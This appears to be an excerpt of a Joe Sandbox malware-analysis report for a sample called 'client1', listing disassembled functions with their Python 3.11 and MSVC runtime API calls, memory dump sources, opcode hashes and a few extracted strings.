Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1313511727-0
Opcode ID: 4b922b14ed2df5f95d6a3c8600b3e69bdbc7d02d17ce986268312cc727099299
Instruction ID: a32a76992620bcce32b9da415b8c437fca4d69093295800ec8688661a9237d56
Opcode Fuzzy Hash: 4b922b14ed2df5f95d6a3c8600b3e69bdbc7d02d17ce986268312cc727099299
Instruction Fuzzy Hash: 92314FB2A1AA52E5FB068F75D8500BE27A8BB54B94F540472DF0E23694DE3CE547C3A0

Function 00007FFBAA7034A0 Relevance: 7.6, APIs: 5, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA7034D1

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7035AA

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA70358E
_Py_Dealloc.PYTHON311 ref: 00007FFBAA703599
_Py_Dealloc.PYTHON311 ref: 00007FFBAA714B86

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1313511727-0
Opcode ID: 844bbb5691821b1cc13d245fc9a8206d144c37ccdb7aeed84f449f5af1792079
Instruction ID: 303c55c76d5e2f6a62b87c805f38c26fdbbb76fa3d4b75715f08734d482a6e54
Opcode Fuzzy Hash: 844bbb5691821b1cc13d245fc9a8206d144c37ccdb7aeed84f449f5af1792079
Instruction Fuzzy Hash: CE3153B2A0AA12D5EB128F75D8540BE27A8FB44B94F444472DE0E637A4DF3CE647C360

Function 00007FFBAA70290C Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA702934

Part of subcall function 00007FFBAA7011A0: PyType_IsSubtype.PYTHON311(?,?,?,00007FFBAA6F10E2), ref: 00007FFBAA7011FE
Part of subcall function 00007FFBAA7011A0: PyErr_Format.PYTHON311 ref: 00007FFBAA70124A

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7029ED

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA7029D0
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7029DB
_Py_Dealloc.PYTHON311 ref: 00007FFBAA71492D

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_Err_FormatObject_ParseSubtypeTupleType_
String ID:
API String ID: 1313511727-0
Opcode ID: c56d67d7fb87bf70e876d31f1775e73e7f2e2e4ce7a9f9d722aab63a9b3f74bb
Instruction ID: 4fde4ae1f4f982bfffcf68f8fc045e94b23903c4be9a2ad1a760f93ce389e416
Opcode Fuzzy Hash: c56d67d7fb87bf70e876d31f1775e73e7f2e2e4ce7a9f9d722aab63a9b3f74bb
Instruction Fuzzy Hash: 0B3184B2A1AA42D0EA168F75D4100BE67A8FB44B94F480072DE4D237A4DE6DE947C360

Function 00007FFBAB492DE0 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB492E09
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB492E2B
PyObject_RichCompareBool.PYTHON311 ref: 00007FFBAB492E42
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492E53
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492E62

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocFromLong_Ssize_t$BoolCompareObject_Rich
String ID:
API String ID: 4107546884-0
Opcode ID: 4821959062ce02670e9ec4436a29c581b01c2ae1a39208a79a00cf5ea6450531
Instruction ID: 9efed3fef6a6518a374f061584967590a76e6cc8bb3306dbf38b0f3ea5870812
Opcode Fuzzy Hash: 4821959062ce02670e9ec4436a29c581b01c2ae1a39208a79a00cf5ea6450531
Instruction Fuzzy Hash: 9D119172A0AA4352EE564B3AE9E427D5291AF55BF0F089334CE7E067F4DF2CE8418340

Function 00007FFBAA6F3B70 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

PyUnicode_New.PYTHON311(?,?,?,00007FFBAA6F3A6E), ref: 00007FFBAA6F3BD6
memmove.VCRUNTIME140(?,?,?,00007FFBAA6F3A6E), ref: 00007FFBAA6F3C0B
PyMem_Free.PYTHON311(?,?,?,00007FFBAA6F3A6E), ref: 00007FFBAA6F3C13
_Py_Dealloc.PYTHON311(?,?,?,00007FFBAA6F3A6E,?,?,?,00007FFBAA6F2508), ref: 00007FFBAA711725
PyErr_NoMemory.PYTHON311(?,?,?,00007FFBAA6F3A6E), ref: 00007FFBAA711731

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: ContextDeallocErr_FreeMem_MemoryUnicode_Var_memmove
String ID:
API String ID: 3813649885-0
Opcode ID: fde4ab65b1b8772268641664e38ce450bc40635912e65faa1664aebf4ab429c6
Instruction ID: c13021ff3fe92464d1e325dcddc327913575fa20a815e0e9ac0be1dc165bc178
Opcode Fuzzy Hash: fde4ab65b1b8772268641664e38ce450bc40635912e65faa1664aebf4ab429c6
Instruction Fuzzy Hash: E02180A1B1A642C2EA169F35D81427E6798EF84FC0F042075DE0E07795DF2CE84ADB60

Function 00007FF79F6487A4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF79F6487CC
_set_statfp.LIBCMT ref: 00007FF79F6487E7
_set_statfp.LIBCMT ref: 00007FF79F648803
_set_statfp.LIBCMT ref: 00007FF79F64883F

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction ID: 994d73378fc6788d0adf3b655954d8948b8ff5b4b35ccd91aa673180338e089c
Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction Fuzzy Hash: 3811CE32E58B8705F6B43138E4523F9944B6F593F4F880230EA7E06AE6DF2CAC614275

Function 00007FF79F63A860 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F63A87F
FlsSetValue.KERNEL32(?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F63A89E
FlsSetValue.KERNEL32(?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F63A8C6
FlsSetValue.KERNEL32(?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F63A8D7
FlsSetValue.KERNEL32(?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F63A8E8

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: daef540501b22c12116ffc374b0892d30f9c5b790841e2ef32b7e795c096c5e6
Instruction ID: 87755686d646a12ca7cb0f6417ada6b8332a2dd90d1f76302ff083e3e3c9446f
Opcode Fuzzy Hash: daef540501b22c12116ffc374b0892d30f9c5b790841e2ef32b7e795c096c5e6
Instruction Fuzzy Hash: 27114C24E1C3C241FA78B335AA411FAE24B5F557B0F844334E87E566D6DEADB4429630

Function 00007FFBAB4979D0 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4979F7
_Py_Dealloc.PYTHON311 ref: 00007FFBAB497A1B
_Py_Dealloc.PYTHON311 ref: 00007FFBAB497A3F
_Py_Dealloc.PYTHON311 ref: 00007FFBAB497A63
_Py_Dealloc.PYTHON311 ref: 00007FFBAB497A80

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: 59fd99aa59ad4cd2daa3baf9135be3f54364d6e67369a80bc17930a723797b6e
Instruction ID: b1ca36f50039b0cb1884bfb0a20700c646cc0552d7abf2c0bebc63ee07f500e3
Opcode Fuzzy Hash: 59fd99aa59ad4cd2daa3baf9135be3f54364d6e67369a80bc17930a723797b6e
Instruction Fuzzy Hash: 5321EDB295660181EB5A8F79D8D837C32A4EF55B38F199334CE79011F2CF7E99858340

Function 00007FF79F63A6F4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F), ref: 00007FF79F63A705
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F), ref: 00007FF79F63A724
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F), ref: 00007FF79F63A74C
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F), ref: 00007FF79F63A75D
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F), ref: 00007FF79F63A76E

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 73fca214f1e943932ff67b95d9a940e5d6c6a0bd2e4835b222ff28ae142fb13c
Instruction ID: 9076ae7c84df3867ed5b9104e1184d68ed80a24e79805a6537f48b8d8785659b
Opcode Fuzzy Hash: 73fca214f1e943932ff67b95d9a940e5d6c6a0bd2e4835b222ff28ae142fb13c
Instruction Fuzzy Hash: 51112A28E0C38301F978BB7148921FA92AB4F56770F840734D83E4A6D2DDADB441A631

Function 00007FFBAA6F4828 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

PyUnicode_FromString.PYTHON311 ref: 00007FFBAA6F484D
PyDict_GetItemWithError.PYTHON311 ref: 00007FFBAA6F4861
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F4873
PyUnicode_AsUTF8String.PYTHON311 ref: 00007FFBAA6F4885

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: StringUnicode_$DeallocDict_ErrorFromItemWith
String ID:
API String ID: 2891578892-0
Opcode ID: 44fa7e439cacf85886ffa34363105531bee131cff24c458678a7dc907af3b5a9
Instruction ID: 85524c304db23abe56b5eb5ee10f8ae7e81ed780a90438840eda3b2e61e28d09
Opcode Fuzzy Hash: 44fa7e439cacf85886ffa34363105531bee131cff24c458678a7dc907af3b5a9
Instruction Fuzzy Hash: A9015E61B0BB82C1EA168F26E90833A66E8AB48F90F049075DD6D07B54DF3DD0478710

Function 00007FFBAA6F3C40 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,00007FFBAA6F3BC2,?,?,?,00007FFBAA6F3A6E), ref: 00007FFBAA6F3EC4

Strings

VUUUUUUU, xrefs: 00007FFBAA6F3DA5
sNaN, xrefs: 00007FFBAA6F3EE8

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: memset
String ID: VUUUUUUU$sNaN
API String ID: 2221118986-2264336794
Opcode ID: 5b83c14853345eac1045005ced30942e50ff53a4e18e0f424a491d81edf0acd5
Instruction ID: deadcef6b79e65a7d7e5eb84a6338923da2d78481ee47ec98e519ed5e8f99cee
Opcode Fuzzy Hash: 5b83c14853345eac1045005ced30942e50ff53a4e18e0f424a491d81edf0acd5
Instruction Fuzzy Hash: AE91D6E1A0FA86C5EB1B8E29D81437D6698AF51F90F149072DE6D073D5DE2CE44BC720

Function 00007FF79F63F198 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63F477

Part of subcall function 00007FF79F645474: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F645491

Strings

ccs, xrefs: 00007FF79F63F3B2
UTF-16LEUNICODE, xrefs: 00007FF79F63F415
UTF-8, xrefs: 00007FF79F63F3F6

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: e657aeb740c2ac826b77e83addb2cc82262a2e6e3b5be7210a8d66ad85871f1f
Instruction ID: 1542419fdd7386e72493200d0f49359441f601781debbe21f9e69f7a4f0e499c
Opcode Fuzzy Hash: e657aeb740c2ac826b77e83addb2cc82262a2e6e3b5be7210a8d66ad85871f1f
Instruction Fuzzy Hash: EC81C731D2C38285F7787E3D89402F8B69AAF11B48FD58035DA2D9B286CFBDE4059361

Function 00007FF79F62E108 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF79F62E154
_CallSETranslator.LIBVCRUNTIME ref: 00007FF79F62E1A3

Strings

MOC, xrefs: 00007FF79F62E168
RCC, xrefs: 00007FF79F62E171

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: e66b2a899b3be21a272ca3efbe1e1fab7eec351de36f73ff2a6cc06a45c4f2b1
Instruction ID: a7dcd6674dd98766165323c66a314b684f0f5cf4b64d6333bf91d0467ab5d1a8
Opcode Fuzzy Hash: e66b2a899b3be21a272ca3efbe1e1fab7eec351de36f73ff2a6cc06a45c4f2b1
Instruction Fuzzy Hash: 90617C32A08B858AE720AF75D8803EDB7A5FB54B88F544235EE9D57B98CF38E045C711

Function 00007FF79F62E464 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF79F62E48C
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF79F62E574

Strings

csm, xrefs: 00007FF79F62E5C6
csm, xrefs: 00007FF79F62E4AE

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 37bca86698e542f9df3f1c5971c843800452ce466371b2576d682bdca002ed1e
Instruction ID: 89e6ea3a9b9764ae6a7bd996ea31cba2f5743fa1988ae6ff5b57a3f20f2b1cbe
Opcode Fuzzy Hash: 37bca86698e542f9df3f1c5971c843800452ce466371b2576d682bdca002ed1e
Instruction Fuzzy Hash: 1151B3329087C286DB74AF2199402E8B7AAFB64B94F944135DAAC87BD5CF3CE450C712

Function 00007FFBAB4A0F69 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0F6C
PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A0F95
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0FAE

Strings

<module>, xrefs: 00007FFBAB4A2826

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Dict_Item
String ID: <module>
API String ID: 4198653253-217463007
Opcode ID: 8be56f128c2966085a7436ac026dcbec3df9314bf8f7f933ed1dcba84a15d0ed
Instruction ID: edc5a91d1b1e633fdd5ce01cfa6064e4e7749f4267664afe858a007c9ad92399
Opcode Fuzzy Hash: 8be56f128c2966085a7436ac026dcbec3df9314bf8f7f933ed1dcba84a15d0ed
Instruction Fuzzy Hash: 1641B8B650AF9181E6268F26F8402A97778FB44B94F00853ADEAE43774DF3CE461C700

Function 00007FF79F6224D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

MessageBoxW.USER32 ref: 00007FF79F6225D7
MessageBoxA.USER32 ref: 00007FF79F6225F3

Strings

Fatal error detected, xrefs: 00007FF79F6225AB, 00007FF79F6225E5
%s%s: %s, xrefs: 00007FF79F622558

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: 1ad8658de8dbd2e7b08889bff9c9537d6e44ae678795f4b96bc9f189f6c45e5f
